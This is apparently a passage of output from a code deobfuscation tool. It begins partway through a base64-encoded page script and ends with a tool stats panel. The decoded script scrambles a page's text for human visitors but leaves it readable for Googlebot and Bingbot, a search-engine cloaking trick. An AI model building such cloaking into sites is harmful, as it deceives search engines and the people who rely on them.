y8gQ2hlY2sgaWYgdGhlIHVzZXIgYWdlbnQgaXMgYSBzZWFyY2ggZW5naW5lIGJvdAogICAgICAgIGNvbnN0IHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKTsKICAgICAgICBjb25zdCBpc0JvdCA9IHVzZXJBZ2VudC5pbmNsdWRlcygnZ29vZ2xlYm90JykgfHwgdXNlckFnZW50LmluY2x1ZGVzKCdiaW5nYm90Jyk7CgogICAgICAgIC8vIEVuY3J5cHQgdGV4dCBub2RlcyBvbmx5IGlmIGl0J3Mgbm90IGEgc2VhcmNoIGVuZ2luZSBib3QKICAgICAgICBpZiAoIWlzQm90KSB7CiAgICAgICAgICAgIGVuY3J5cHRBbGxUZXh0Tm9kZXMoZG9jdW1lbnQuYm9keSk7CiAgICAgICAgfQogICAgfSk7Cjwvc2NyaXB0PgoKCgo8L2JvZHk+Cgo8L2h0bWw+"));
        </script>
    </body>
    </html>
    

Function Calls

None

Variables

None

Stats

MD5 21831b38bda5477f74fa2035a6ce2571
Eval Count 0
Decode Time 319 ms